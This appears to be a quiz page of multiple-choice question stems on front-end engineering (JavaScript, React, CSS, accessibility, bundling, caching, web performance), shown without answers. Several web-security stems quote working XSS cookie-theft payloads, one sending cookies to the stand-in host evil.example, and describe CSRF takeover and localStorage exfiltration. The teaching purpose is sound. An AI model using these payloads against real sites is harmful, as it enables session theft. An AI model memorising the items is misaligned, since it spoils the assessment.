Every question on one page: open one, choose an answer, and see why at once. Signed in, your latest answer to each question counts, and you can answer again after 24 hours.
Curated: · Written: · Reviewed:
Reviewed 99Review pending 2
Answers to reviewed questions count toward this role and the overall leaderboard; your latest answer to each one is the one that counts.
MCQ-13A bundler upgrade emits a module's top-level statements in the order shown below; before the upgrade the declarations came first and the module worked. What does the console show when the reordered module loads?
```js
console.log(typeof fee); // 1
console.log(typeof charge); // 2
var fee = 2;
function charge(n) { return n + fee; }
console.log(charge(10)); // 3
console.log(typeof rate); // 4
const rate = 1.5;
```⌄
MCQ-1A settings module declares `const settings = { theme: 'dark' }`, but the toggle handler reassigns it with `settings = { theme: 'light' }` and throws `TypeError: Assignment to constant variable`. The same file builds five buttons with `for (var i = 0; i < 5; i++)` and attaches a click handler to each; every handler logs `5`. The team wants any future reassignment of `settings` to fail loudly. Which revision should the team make?⌄
MCQ-3A class formats rows for a table:
```js
class Formatter {
constructor(prefix) { this.prefix = prefix; }
format(row) { return this.prefix + row.id; }
}
const f = new Formatter('row-');
const out = rows.map(f.format);
```
`rows` is `[{ id: 1 }, { id: 2 }]`. The `map` call throws `TypeError: Cannot read properties of undefined (reading 'prefix')` on the first row, and `out` is never assigned. Which change makes `out` become `['row-1', 'row-2']`?⌄
MCQ-4A test suite defines `class Config { constructor(overrides) { Object.assign(this, overrides); } }` and then `Config.prototype.defaults = { retries: 3, timeout: 5000 };`. One test runs `const c = new Config({}); c.defaults.retries = 1;`. Twelve later tests that each construct their own `Config` now read `retries === 1`. What is happening, and what fixes it?⌄
MCQ-10A Node 20 service builds each tenant's config with `const cfg = { ...defaults }`, then sets `cfg.retry.attempts = 5` for enterprise tenants. `defaults` is `{ retry: { attempts: 3, backoffMs: 200 }, matcher: /^v\d+/ }`, and `matcher.test(version)` gates every request. After the first enterprise request, free-plan tenants also run with 5 attempts. Which change removes the leak while leaving `matcher` working?⌄
MCQ-11A dashboard renders one row per SKU, labeled "Out of stock" or "In stock". The upstream service returns `stock` as a number for warehouse SKUs and as a string for SKUs synced from a legacy ERP. The contract: a number or numeric string is the real count; `null` means unknown; an empty string means not tracked. The guard is:
```js
function label(stock) {
return stock == 0 ? "Out of stock" : "In stock";
}
```
Four SKUs come back: A = `0`, B = `"0"`, C = `null`, D = `""`.
What does the guard render for each row?⌄
MCQ-23Given this TypeScript 5.4 code, which statement about the compiler errors is correct?
```ts
type Transaction = { id: string; amount: number };
type State =
| { status: 'loading' }
| { status: 'error'; message: string }
| { status: 'ready'; data: Transaction };
function render(state: State) {
if (state.status === 'error') {
return state.data.id; // line A
}
if (state.status === 'loading') {
return state.message; // line B
}
return state.data.id; // line C
}
```⌄
MCQ-14A UI library is consumed by a Vite-bundled browser app and by a Node 20 service. One CommonJS date dependency pulls its whole build into the browser bundle for a single function, and the team wants one rule for ES modules versus CommonJS that keeps both consumers working. Which rule should they adopt?⌄
MCQ-15A nightly export reads rows through a generator and wraps it in a retry helper:
```js
function* readBatches(cursor) {
while (cursor) {
const { rows, next } = fetchPage(cursor); // sync client; 100 rows per page, 4 pages
yield rows;
cursor = next;
}
}
function consume(source) {
let n = 0;
for (const rows of source) n += rows.length;
return n;
}
function withRetry(source) {
for (let attempt = 1; attempt <= 3; attempt++) {
try { return consume(source); }
catch (e) { if (attempt === 3) throw e; }
}
}
```
In staging, `source` is an array holding the 4 batches, and a 503 forced on the first attempt is retried, so the export writes 400 rows. In production, `source` is `readBatches(cursor)`. The same 503 hits while fetching page 3, after pages 1 and 2 have been yielded and counted. The export writes whatever `withRetry` returns. What does the production run write, and what does the job report?⌄
MCQ-6A service saves five items through this helper:
```js
async function saveAll(items) {
try {
items.forEach(async (item) => {
await save(item);
});
return "ok";
} catch (err) {
return "failed";
}
}
```
Each save takes about 40 ms. The save for item 3 rejects; the other four succeed. What does the caller of `saveAll` observe?⌄
MCQ-2A search box calls `debounce(fetchResults, 300)` once when it mounts. Typing `abcd` at roughly 80 ms per keystroke fires four requests instead of one. The implementation is:
```js
function debounce(fn, ms) {
return (...args) => {
let timer;
clearTimeout(timer);
timer = setTimeout(() => fn(...args), ms);
};
}
```
Which change makes those four keystrokes produce a single request?⌄
MCQ-5A dashboard's spinner freezes for 4 s on a mid-range Android phone. The code re-queues its own work with `Promise.resolve().then(step)`, so the microtask queue is never empty while the spinner is on screen. The transform is ~40 steps of ~5 ms each, reads layout from the DOM on every step, must finish within ~1 s of the click, and must keep progressing if the user switches tabs. Which change is defensible?⌄
MCQ-21A dashboard runs this on load:
```js
async function load() {
try {
const res = await fetch('/api/report');
const report = await res.json();
setState({ status: 'ready', report });
} catch (e) {
setState({ status: 'error' });
}
}
```
The reporting service is down. The gateway in front of it answers every request to /api/report immediately with HTTP 503 and the body `{"error":"upstream timeout"}`. The network is fine and CORS is configured. What does the dashboard show?⌄
MCQ-7A dashboard fires 6 independent widget requests. Product wants the 5 that succeed rendered with an inline error for the one that fails, and the whole load abandoned after 2 s if the network stalls. Which implementation meets both requirements?⌄
MCQ-8A typeahead search box shows results for 'rea' after the user has typed 'react': the slower response for the earlier query arrives last and overwrites the correct list. The team wants the latest query's results to render as soon as they arrive, however the responses interleave. Which change addresses the cause?⌄
MCQ-9A typeahead search box fires one `input` event per keystroke. A user types a 10-character query over 800 ms, then pauses 400 ms before typing the next character. The team needs exactly one request per completed query, and that request must carry the full query string. Which implementation does that?⌄
MCQ-25A search-as-you-type box fires GET /api/search?q=… on every keystroke and renders whatever comes back. The API allows 10 requests per second per user and answers 429 with an empty body above that; the client renders an empty list for any non-200. A user typing a 12-character query at 12 keystrokes per second sees the list go blank before finishing the query and stay blank. Product requires the list to update within 500 ms of the last keystroke, and the API answers in about 120 ms. Which change fixes the failure?⌄
MCQ-24An order placed at 8 pm Eastern shows as the following day for users in Europe, and the daily revenue report disagrees with the order list for the same day. Which change addresses the cause?⌄
MCQ-22A SPA served from https://app.example.com calls an API at https://api.example.com. The access token used to sit in localStorage until a stored XSS in a user's display name was found to read it, so the team moved the token to a cookie that api.example.com sets with HttpOnly; Secure; SameSite=Strict. Sign-in still completes (it is a top-level form POST to api.example.com) and the cookie is set, but every fetch from the SPA now returns 401. The SPA's fetch calls pass no credentials option. Which change restores the API calls without making the token readable to page scripts?⌄
MCQ-79A single-page app served from https://shop.example.com calls https://api.example.com/cart with `fetch(url, { credentials: 'include', headers: { 'X-Trace-Id': 'a1b2' } })`. The session cookie is scoped to api.example.com, and the API is owned by another team that will keep serving it from api.example.com. The browser never sends the GET: the network panel shows the OPTIONS preflight returning 204 with `Access-Control-Allow-Origin: *`, `Access-Control-Allow-Credentials: true`, `Access-Control-Allow-Methods: GET, OPTIONS`, `Access-Control-Allow-Headers: Content-Type`. Which change lets the request through and returns the signed-in user's cart?⌄
MCQ-78A SPA keeps its access token in a JavaScript variable with a 15-minute lifetime and its refresh token in localStorage with a 30-day lifetime, no rotation, and a POST /refresh endpoint that reads the token from the request body. A compromised npm dependency ran for 11 days, exfiltrating localStorage on every page load. The team moves the refresh token into an HttpOnly, Secure, SameSite=Strict cookie, points the refresh endpoint at the cookie instead of the request body, and cuts the token's lifetime to 7 days. The access token stays in a JavaScript variable. A second compromised dependency runs for 3 days. What is the residual exposure?⌄
MCQ-76An Express app renders each user's `bio` with EJS's unescaped `<%- bio %>`. An attacker saved `<img src=x onerror=fetch('/c?d='+document.cookie)>` as their bio; the row is in the database and the handler has run in 3,100 viewer sessions. Which single change stops the script from executing for those already-stored rows and for future submissions?⌄
MCQ-28A profile bio supports bold and links. It renders in two places: the editor's live preview, which is client-side and reads the unsaved draft from component state, and the profile page, which reads the saved value from `GET /api/bio`. Saving posts the draft to `POST /api/bio`. The current sanitizer is a regex that strips `<script>` tags. A pentest payload, `<img src=x onerror="fetch('//evil.example/'+document.cookie)">`, executed in the preview and on the profile page. About 40,000 bios are already stored under the old regex. Which change should the reviewer accept?⌄
MCQ-77A Django 5.0 app has `CsrfViewMiddleware` enabled. The password-change view is decorated with `@csrf_exempt`. Users reach the app from email links and partner sites, so cross-site top-level navigation must keep working. A tester hosts a page on evil.example with a form posting to `/settings/password/`; the page includes `<meta name="referrer" content="no-referrer">`. The browser sends the session cookie, the view accepts the POST without a CSRF token, and 12 test accounts are taken over. Which change fixes the reported issue?⌄
MCQ-80A team adds `Content-Security-Policy-Report-Only: script-src 'self'` to an existing site after a stored-XSS incident in which an attacker's inline `<script>` ran for other users. After a week, the violation report shows 1,842 script violations, all from one inline `<script>` in the base template that writes a per-request CSRF token and the user's feature flags into `window`. They now want to switch the header to enforcing, and the policy must still block an attacker's injected inline script. Which change should they make before enforcing?⌄
MCQ-54A card row is `display: flex; flex-wrap: wrap; gap: 16px`. Every card is `flex: 0 0 300px; padding: 16px; border: 1px solid #ddd`, and no `box-sizing` is set anywhere in the stylesheet. At a 1,280px viewport three cards sit on one row; at 1,024px the third card wraps to a second row. Which statement explains the wrap?⌄
MCQ-55A filter bar renders 12 chips whose labels run from 4 to 22 characters. The design requires each chip to be exactly its label width plus 16px of padding, and chips to wrap onto a new line when the current line runs out of room. The bar is currently `display: grid; grid-template-columns: repeat(4, 1fr); gap: 8px;`. At a 600px viewport the short chips sit in 150px tracks with dead space, the 22-character labels overflow their track, and the chips stay in rows of four instead of filling each line. Which change meets the requirement?⌄
MCQ-57A design system ships one `<ProductCard>` used in three slots of the same page: a 320 px sidebar, a 720 px main column, and a 1,200 px hero. The card switches from stacked to side-by-side at a viewport media query of `min-width: 768px`. In the sidebar it renders side-by-side and its 480 px row overflows the 320 px slot; in the hero it stays stacked and looks sparse. The page is server-rendered and must be correct on first paint, before any JavaScript runs. Which change fixes the card in all three slots?⌄
MCQ-56A dropdown inside a card renders behind the card to its right and is cut off at the edge of the list. The card carries `transform: translateY(0)` for a hover lift, and the list is a scroll container with `overflow-x: auto`. Raising the dropdown's z-index from 9999 to 99999 changed nothing. Which change fixes the cause?⌄
MCQ-51A checkout page must show its primary button in black. The design system defines `.btn { color: white }`. The checkout page adds `#checkout .btn { color: black }`. A third-party chat widget injects a global `button { color: red !important }` and cannot be edited. The button renders red. Which change should the reviewer accept?⌄
MCQ-53A design system ships this CSS in one stylesheet:
```css
@layer reset, components, utilities;
@layer components {
.btn { background: #2563eb; }
#checkout .btn { background: #dc2626; }
}
@layer utilities {
.bg-blue { background: #2563eb !important; }
}
```
The checkout page renders:
```html
<div id='checkout'>
<button class='btn bg-blue'>Pay</button>
</div>
```
No other CSS targets the button. What background does the browser paint on the button, and why?⌄
MCQ-19A 5,000-row table renders in 900 ms on a mid-range phone with one click listener per row and 120 ms with a single listener on the panel. Rows are appended as the user scrolls. The table sits in a fixed-height panel that is the scrolling element; the table itself does not scroll. The panel also holds a toolbar with a search input, and each row has a Delete button whose visible label is an inline SVG icon. Clicking a row selects it, clicking Delete deletes it, clicking the toolbar must leave the selection unchanged, and the panel must highlight the focused row. Which implementation should the reviewer accept?⌄
MCQ-48A signup form renders its validation message in `<div id="err" style="display:none">` and, on a failed submit, sets the div's text and switches it to `display:block`. The team adds `aria-live="polite"` to the div, but screen-reader users still submit the form without hearing the error. Which change makes screen readers announce the error?⌄
MCQ-71A React 18 SPA renders its 'Delete account' confirmation dialog inline inside the app root, directly after the accounts table. The dialog has `role="dialog"` and `aria-modal="true"`. It is opened from the 'Delete account…' item in an 'Account ▾' dropdown menu; opening the dialog closes the menu, which unmounts. The close handler calls `menuItemRef.current.focus()`. A keyboard-only user reports two things: Tab from the dialog's 'Delete' button moves to the footer's 'Privacy' link behind the overlay, and Escape closes the dialog but the next Tab lands on the 'Skip to content' link at the top of the page. Which change fixes both?⌄
MCQ-72A design system's Save control is `<div role="button" tabindex="0" class="btn" onclick="save()">Save</div>`. Mouse clicks save; screen readers announce "Save, button"; Enter and Space do nothing. The release cannot change the element type: the design system's CSS and its consumers target `div.btn`. Which change resolves the report?⌄
MCQ-100A settings dialog is a `<dialog>` element that the team opens with `dialog.show()`. QA files four bugs: Escape does not close it; Tab moves from the dialog's last button into the page's nav links behind it; the dialog is clipped by the sidebar's `overflow: hidden`; and a screen reader reads the page content behind the dialog. Which single change fixes all four?⌄
MCQ-12A React 18 component holds `rows` in state and renders `<RowTable rows={rows} />`, which is not wrapped in `React.memo`. The "Sort by score" button runs:
```js
function handleSort() {
rows.sort((a, b) => a.score - b.score);
setRows(rows);
}
```
Clicking it changes nothing on screen. The table shows the sorted order only after the user types in an unrelated filter box in the same component. What explains this?⌄
MCQ-27A React 18 task list renders one `<TaskRow>` per task from server data. Each task has a stable `id`, and each row keeps its draft note in local `useState` and renders an `<input>` bound to that state. A PR changes `key={task.id}` to `key={index}` and reports 'no visual difference.' The reviewer checks out the PR, types `call Sam` into the first row's input (task A) and `buy milk` into the last row's input (task E), then deletes task A. What does the reviewer see?⌄
MCQ-34A React 18 page renders two `Tabs` widgets side by side, each with 6 tabs and its own panel. `activeTab` lives in `PageLayout`, which renders both widgets, and is passed down as a prop. Clicking 'Settings' in the left widget also selects 'Settings' in the right one. What is the correct fix?⌄
MCQ-35A checkout page renders a promo-code field:
```jsx
function PromoField({ promo, onApply }) {
const [text, setText] = useState('');
return (
<input
value={promo}
onChange={e => setText(e.target.value)}
placeholder="Promo code"
/>
);
}
```
`promo` is a prop the parent sets only after a code is successfully applied, so it stays `''` while the user types. A user types `SAVE10`. The cursor moves and the keystrokes land, but after each one the field renders empty again, and the console shows no React warning. Which explanation accounts for the empty field?⌄
MCQ-37A component renders the value of a ref and increments it from a timer:
```jsx
function LiveCount() {
const count = useRef(0);
useEffect(() => {
const id = setInterval(() => { count.current += 1; }, 1000);
return () => clearInterval(id);
}, []);
return <span>{count.current}</span>;
}
```
A `console.log` inside the interval prints 1, 2, 3, … once a second, but the number on screen stays at 0. Which change makes the displayed number update?⌄
MCQ-38A checkout screen used to keep `step`, `submitting` and `attempts` in three separate `useState` hooks, and a double-fired click produced two orders. The team replaced them with one reducer:
```ts
type State = { step: 'cart' | 'paying' | 'done'; submitting: boolean; attempts: number };
type Action = { type: 'SUBMIT' } | { type: 'SUCCESS' } | { type: 'FAIL' } | { type: 'RESET' };
function reducer(s: State, a: Action): State {
switch (a.type) {
case 'SUBMIT':
if (s.step !== 'cart' || s.submitting) return s;
return { ...s, step: 'paying', submitting: true, attempts: s.attempts + 1 };
case 'SUCCESS':
if (s.step !== 'paying') return s;
return { ...s, step: 'done', submitting: false };
case 'FAIL':
if (s.step !== 'paying') return s;
return { ...s, step: 'cart', submitting: false };
case 'RESET':
return { step: 'cart', submitting: false, attempts: 0 };
}
}
```
Starting from `{ step: 'cart', submitting: false, attempts: 0 }`, the actions `SUBMIT, SUBMIT, FAIL, SUBMIT, SUCCESS` are dispatched in order. What is the resulting state?⌄
MCQ-29```jsx
function ChatRoom({ roomId }) {
const options = { serverUrl: 'wss://chat.example.com', roomId };
useEffect(() => {
const conn = createConnection(options);
conn.connect();
return () => conn.disconnect();
}, [options]);
// ...
}
```
This component re-renders on every keystroke in a sibling search box. The server's connection log shows a new WebSocket connection roughly every 30 ms while the user types, and one 40-second session opened over 1,200 connections. Switching rooms does open the new room's connection. Which change stops the reconnect storm while still switching rooms when `roomId` changes?⌄
MCQ-36A dashboard uses this hook:
```js
function usePolling(url, intervalMs) {
useEffect(() => {
const id = setInterval(() => fetch(url), intervalMs);
}, []);
return null;
}
```
It mounts with `intervalMs = 1000`. Thirty seconds later the user changes the refresh setting to 5000 ms, and ten seconds after that navigates to another route in the same SPA. What does the network panel show?⌄
MCQ-39A profile panel fetches `/api/users/:id` inside a `useEffect` whose dependency array is `[id]`. Two bugs are filed. First, clicking user B while user A's request is still in flight renders A's name and avatar under B's header: A's response takes 900 ms, B's takes 120 ms, and B is clicked 100 ms after A. Second, when the request returns 500 the panel shows the loading skeleton forever. Switching between users normally must not show an error. Which change fixes both bugs without breaking the normal switch?⌄
MCQ-30A `<LiveTicker>` component opens a WebSocket and fires a `fetch` for the latest price inside one `useEffect`, with `symbol` in the dependency array. QA switches symbols 30 times in a session: the Network panel shows 30 open WebSocket connections, and a price response for an earlier symbol sometimes overwrites the current one. Which change fixes this?⌄
MCQ-40A React 18 dashboard renders `<Feed/>`, `<Chart/>` and `<Sidebar/>` as siblings inside a single root error boundary whose fallback is a full-page "Something went wrong" screen. `<Chart/>` is wrapped in `<Suspense fallback={<Skeleton/>}>`. The API returns a malformed payload and `<Chart/>` throws during render. What does the user see?⌄
MCQ-46A settings row has an email-notifications switch. Flipping it writes the new value to local state immediately and sends `PUT /settings/notifications` with `{enabled: <value>}`; when the response arrives, the client writes the response's `enabled` into state. A user flips the switch off, then on again 90 ms later. The first request takes 500 ms and the second 150 ms, so the second response arrives first. The switch ends up off while the server has `enabled: true`. The team has ruled out blocking or queueing taps behind an in-flight request. Which change makes the switch show the user's last choice and agree with the server?⌄
MCQ-50A React dashboard keeps one Redux slice holding `orders` (the array returned by `GET /api/orders`), `filterText`, `isModalOpen`, and `session`. A `fetchOrders` thunk dispatches `setAll(response.data)`, which replaces the slice with the payload. Two symptoms: a 30-second background refetch closes the open order-detail modal, and after `PATCH /api/orders/42` succeeds the row still shows the old status until a manual reload. Which change fixes both symptoms?⌄
MCQ-33A trading dashboard runs React 18. One `AppContext` carries `{ theme, user, prices }`, and the provider passes an inline literal: `<AppContext.Provider value={{ theme, user, prices }}>`. A WebSocket replaces `prices` with a new object every 500 ms. The Profiler shows each tick committing 260 components in about 38 ms. Of those, 12 read `prices`, 90 read `theme`, and 158 read only `user`. The team wants the tick to re-render only the components that read `prices`. Which change achieves that, and what does the per-tick commit count become?⌄
MCQ-31A React 18 dashboard renders a 50,000-row table. `Row` is wrapped in `React.memo`. The parent holds `hoveredRowId` state that changes on mouse move, and each hover re-renders the parent. The parent computes `visibleRows = rows.filter(...)` inline, passes `style={{ height }}` inline, and passes `onSelect={() => ...}` inline. Profiler on a hover that does not change the filter: parent filter 18 ms, `Row` list 42 ms, total 60 ms. After wrapping `visibleRows` in `useMemo`, `style` in `useMemo`, and `onSelect` in `useCallback`, the same hover is 19 ms. They also wrapped `const total = rows.length + 1` in `useMemo`. Which change set should they keep?⌄
MCQ-32Dashboard holds a `lastUpdated` state that a `setInterval` inside a `useEffect` bumps every second. It renders `<RowList rows={rows} onSelect={handleSelect} />`, where `rows` is a module-level constant array of 800 items, `handleSelect` is declared inline in Dashboard's body, and RowList is wrapped in React.memo. The profiler shows RowList and all 800 rows re-rendering on every tick, with the frame rate dropping to 12 fps during each tick. Which change makes the profiler show zero RowList renders per tick?⌄
MCQ-26A search box filters a 5,000-row table, and the product requires results to update on every keystroke. On a production build, each keystroke costs 180 ms of scripting and drops frames. A profile attributes 165 ms to the row components' own render functions and 15 ms to the framework's reconciliation of the 5,000-row list. Which change addresses the measured cost?⌄
MCQ-42A React table renders 10,000 rows of 14 elements each (140,000 DOM nodes) with a 4.2 s first render and 18 fps while scrolling. The team replaces it with a windowing component: fixed 32 px rows, a 640 px viewport, and a 10-row buffer above and below the visible range. What does the windowed table mount, and what does the first render become?⌄
MCQ-99A feed screen renders an unbounded list of posts, receives live inserts over a websocket, and users routinely scroll several hundred rows deep before tapping an item. The PR under review proposes the paging, live-update and rendering strategy. Which proposal should the reviewer accept?⌄
MCQ-43A Next.js App Router (13+) dashboard page, `app/dashboard/page.tsx`, is a server component that fetches `revenue` and `auditLog` from Postgres and renders a `<Tabs>` client component holding the active tab in `useState`. The PR has `Tabs` import `<RevenueChart>` and `<AuditLog>` directly; both are server components with top-level `await`. The build fails. The team's constraints: switching tabs must stay instant with no server round trip, and the Postgres queries must not move to the browser. Which change should the reviewer request?⌄
MCQ-45A React 18 SSR page renders `<time>{formatRelative(publishedAt)}</time>`, and `formatRelative` calls `Date.now()`. The server renders at 12:00:00 and emits `<time>2 minutes ago</time>`; the client hydrates at 12:00:00.8 and its first render computes `3 minutes ago`. React logs a hydration error and re-renders that subtree on the client, so on a throttled 3G phone the line is blank for about 1.4 s and the LCP element shifts. The `<time>` text must stay in the server HTML, the crawler reads it and it is the LCP element, and the label must stay accurate to the minute while the page is open. Which change stops the mismatch?⌄
MCQ-74A Next.js storefront server-renders prices with `price.toLocaleString()`. A German shopper's HTML arrives showing `1,234.56`; after hydration the same element shows `1.234,56`. The server starts with `LANG=en_US.UTF-8`, serves concurrent requests for 14 locales, and SEO requires the price in the initial HTML. Which change makes the server-rendered price correct for every locale?⌄
MCQ-44A retail site has three surfaces. The product listing is identical for all visitors, changes when merchandisers publish (about 4 times a day), and must hit LCP under 1.5 s on a mid-range phone for SEO. The order-history page is per-user, behind login, and changes only when the user places an order. The product page's stock badge must reflect inventory within 5 seconds of a warehouse scan; the rest of the page is identical for all users. Which rendering plan fits these constraints?⌄
MCQ-91A pull request replaces the server-rendered signup form with a client-rendered one so the team can add inline validation and inline error messages. In the first week, 1.3% of sessions that reach the signup page show an empty main region; the failures cluster on 3G connections where the bundle request times out and on sessions where the bundle is blocked before it runs. Signup is the only path to a paid account, and the team wants to keep the inline validation. Which approach should the reviewer accept?⌄
MCQ-41A React 18 app (Vite 5) has a 500 KB gzipped initial bundle. The team's performance budget is 200 KB of initial JS, and the LCP element is the hero image rendered by `HeroCarousel`. Modules and sizes: `HeroCarousel` + `swiper`, 120 KB; `CheckoutFlow`, 90 KB, reached by 12% of sessions; `RichTextEditor`. 150 KB, reached by 0.3% of sessions; `ReviewWidget` (70 KB, below the fold; `Analytics`) 40 KB, runs on `requestIdleCallback`; core app + router. 30 KB. Which split plan meets the 200 KB budget without deferring the code that renders the LCP element?⌄
MCQ-64A webpack 5 production build ships a 940 KB main bundle. The analyzer attributes 320 KB of it to `date-lib`, which the app uses only for `formatDate`. The app imports it as `import { formatDate } from 'date-lib'`. `date-lib`'s package.json declares `"main": "dist/index.cjs.js"`, `"module": "dist/index.esm.js"` and `"sideEffects": false`; the project's webpack config sets `resolve.mainFields: ['main']`. Which change removes the unused 320 KB?⌄
MCQ-96A web app's CI check fails the build when the main bundle exceeds 250 KB. It runs on every pull request against the production build and reports uncompressed sizes. Over eight months the main bundle held at 240 KB and the check never failed, but field LCP p75 rose from 1.9 s to 4.2 s. Profiling shows the JavaScript each route loads grew from 210 KB to 940 KB, all first-party code in lazily-loaded route chunks. What explains the gap?⌄
MCQ-65A React SPA is served from a CDN. Each build emits `index.html` plus content-hashed bundles such as `main.9f2c1a.js`. The CDN currently sends `Cache-Control: public, max-age=86400` on every response, `index.html` included. After a deploy that replaced `main.9f2c1a.js` with `main.4b7e02.js`, error tracking shows 4,800 `ChunkLoadError`s in 20 minutes, all from users who had visited in the previous 24 hours; first-time visitors are unaffected. Which change fixes the failure?⌄
MCQ-95A React app's Export button does nothing for some production users. The team runs `npm run build`, serves the bundle locally, and the button works. In every failing session's HAR, no request to the export endpoint appears. Failing sessions are 100% of users whose tab was open before the 14:00 deploy and 0% of users who loaded the page after it. What is the most likely cause?⌄
MCQ-67A team's service worker is hand-written and precaches `/index.html` and `/app.js` (both unhashed, fixed URLs) with a cache-first strategy. The build overwrites those two files on the origin on every deploy; `sw.js` itself has not changed since the worker was first registered. Deploy 88 fixed a pricing bug in `app.js`. Two days later, 44% of returning users are still running the buggy code, and the only fix users report is clearing site data. What is the cause?⌄
MCQ-85A team's build emits `app.modern.js` (212 KB gzipped) for browsers that support ES modules and `app.legacy.js` (268 KB gzipped) for the rest, wired as `<script type="module" src="app.modern.js">` and `<script nomodule src="app.legacy.js">`. Their Workbox service worker precaches `**/*.{js,css,html}`. After deploy, RUM shows modern sessions on mid-range Android transferring 480 KB of JS. Which is the cause?⌄
MCQ-66A dashboard page's cold-load waterfall (same origin, empty cache) is:
| Resource | Start | End |
| --- | --- | --- |
| HTML | 0 ms | 180 ms |
| base.css | 180 ms | 420 ms |
| app.js | 180 ms | 560 ms |
| /api/session | 560 ms | 880 ms |
| dashboard.js | 880 ms | 1,080 ms |
| dashboard.css | 1,080 ms | 1,240 ms |
| hero.png | 1,080 ms | 1,880 ms |
| inter.woff2 | 1,240 ms | 1,620 ms |
`app.js` is deferred and runs at 560 ms; it awaits `/api/session`, then dynamically imports `dashboard.js`, which imports `dashboard.css` and sets `hero.png` as an image source. `dashboard.css` holds the `@font-face` for Inter. The hero image fills the top half of the viewport; the chart that uses Inter sits below the fold. Which single change makes the largest contentful paint earliest?⌄
MCQ-75A marketing page's first contentful paint is 2.4 s on a mid-range Android phone over 4G (1.6 Mbps, 120 ms round trip). A trace shows the head holds a 40 KB synchronous script, boot.js, that runs 900 ms of main-thread work before returning, followed by the link to app.css; the app.css request does not start until 1.22 s into the load. app.css is 120 KB Brotli-compressed, and 8 KB of its rules style content in the initial viewport. The hero image is 1.4 MB and is the largest contentful paint element. Which single change most improves first contentful paint?⌄
MCQ-59A landing page uses a custom sans for the headline and body. The design specifies four weights, but only the 600 headline is above the fold; the other three appear lower down. On a throttled 3G profile the current build blocks text for 1.6 s and the swap shifts the headline by 14 px. The team wants the custom headline visible quickly on first load without a visible jump. Which approach should the reviewer accept?⌄
MCQ-60A storefront's above-the-fold hero is the largest contentful paint element. Its markup is:
<img src="hero.jpg" srcset="hero-400.jpg 400w, hero-800.jpg 800w, hero-1200.jpg 1200w, hero-2400.jpg 2400w" sizes="1200px" alt="hero">
The hero spans the full viewport width. The four JPEG files weigh 28 KB, 78 KB, 210 KB and 1.1 MB at 400w, 800w, 1200w and 2400w. Field data from a mid-range Android at a 390 CSS px viewport and DPR 3 reports 1.1 MB transferred for the hero and an LCP of 3.9 s against a 2.5 s budget. Why did the browser fetch the file it fetched, and which single edit brings the transferred bytes down?⌄
MCQ-61A product page's p75 LCP on mid-range Android is 4.2 s. The LCP element is a hero image set as a CSS `background-image` in a stylesheet linked from the head. The subpart breakdown is: time to first byte 0.6 s, resource load delay 2.1 s, resource load duration 1.2 s, element render delay 0.3 s. Which change is most likely to bring p75 LCP under 2.5 s?⌄
MCQ-63A product page's field CLS is 0.29. The largest contributors are a hero image served without width or height attributes, a shared consent banner injected after first paint on every route, and a web font that swaps late. Which justification for the engineer's fix is sound?⌄
MCQ-70A checkout page has a lab budget of p75 LCP < 2.5 s. A desktop Lighthouse run reports LCP 1.2 s, TTFB 120 ms, and TBT 80 ms. Field RUM for the same page shows p75 LCP 4.8 s, p75 TTFB 150 ms, and p75 INP 420 ms. Segmented field data: desktop p75 LCP 1.3 s; mid-tier Android on 4G p75 LCP 6.1 s, and 62% of sessions are mid-tier Android on 4G. The team has one sprint and can change only the checkout page. What should they do?⌄
MCQ-81A checkout page loads three third-party scripts. On a mid-tier Android phone the page's CLS is 0.24 against a release gate of 0.10, and Total Blocking Time is 1,150 ms. Blocking each script in turn in the lab gives: tag manager 120 KB, 400 ms main-thread, 0.00 CLS; chat widget 180 KB, 600 ms, 0.02 CLS; promo banner 40 KB, 200 ms, 0.22 CLS. The team can ship one change this sprint. Which change clears the CLS gate?⌄
MCQ-97A team preloads the hero image and ships a responsive source set on a product listing page. Lab Lighthouse (desktop, simulated 4G) LCP falls from 4.2 s to 1.8 s. Two weeks of field RUM: desktop p75 4.3 s → 1.9 s, mobile p75 5.1 s → 5.0 s. Mobile is 78% of sessions. What should the engineer report?⌄
MCQ-20A dashboard re-renders a 1,000-row table on every filter change. A profile of the filter handler shows 1,000 forced synchronous layouts and a 700 ms long task. The handler loops over the rows, reads each row's `offsetHeight`, then sets that row's `style.transform` to a value derived from that height before moving to the next row. Row heights change with the filter, and the transforms must be applied before the frame paints. Which change removes the forced layouts?⌄
MCQ-52A resize handler loops over 40 cards. For each card it writes `card.style.width = w + 'px'` and then reads `grid.offsetHeight` to check whether the grid has overflowed the viewport. Dragging the window edge drops the page to about 8 fps, and a DevTools recording shows ~40 Recalculate Style/Layout bars per frame at ~3 ms each, with paint under 1 ms. Which change removes the stall?⌄
MCQ-101A marketing page animates a sticky header and a reading-progress bar on scroll. On a mid-range Android phone it drops to ~30 fps. A trace shows the scroll handler loops over 30 sections, reads each `getBoundingClientRect().top`, then writes `section.style.top`, and each frame includes a 12 ms Layout task. The team wants 60 fps without changing the design. Which change should they make?⌄
MCQ-62A search box filters 5,000 rows on every keystroke. Field RUM reports an INP p75 of 480 ms. A lab trace of one keystroke shows a single 380 ms task on the main thread: the handler loops over the rows, appends a row to the DOM, reads that row's `offsetHeight` to choose a class, then appends the next row. Which change is most likely to bring p75 under the 200 ms "good" threshold?⌄
MCQ-68A dashboard fetches a 12 MB JSON payload, calls `JSON.parse` on it, then sorts the result. A profile on a mid-range Android phone shows a single 1,400 ms main-thread task (1,200 ms inside `JSON.parse` and 200 ms in the sort) during which every click and keystroke is ignored. The team's target is no main-thread task over 50 ms. A teammate proposes splitting the parse into 100 chunks with a `setTimeout(0)` yield between each. What does the profile show after that change?⌄
MCQ-58A React dashboard renders a 500-row table, each row styled by a runtime CSS-in-JS library. The filter box must update the table on every keystroke, and all matching rows stay in the DOM (the page is printed and searched with Ctrl+F). p95 input latency is 180 ms against a 50 ms budget. A profile of one keystroke shows 140 ms inside the styling library serializing styles during render, scaling with the number of rows rendered; the filter costs 8 ms and reconciliation about 30 ms. The design tokens must be preserved. What is the right fix?⌄
MCQ-18A Node.js service memoizes `renderReport(report)` with a `Map` keyed by the `report` object. Each request builds a fresh `report` object with different data from the database. The service handles 200 req/s, and over one hour it makes 720,000 calls for 4,800 unique reports. The function takes 120 ms uncached. The process heap grows from 300 MB to 2.1 GB and then OOMs; a heap snapshot shows 720,000 entries in the memo Map, almost all with distinct keys. What should you do?⌄
MCQ-69An operations dashboard is a single-page app that operators keep open for a full eight-hour shift. After 30 route changes the heap grows from 62 MB to 240 MB, and a forced GC does not bring it down. A heap snapshot taken after that GC shows 1,180 detached HTMLCanvasElement nodes, about 40 more per route change, all reachable from a closure whose retainer chain ends at a resize listener the chart registers on window. Which action does the evidence support?⌄
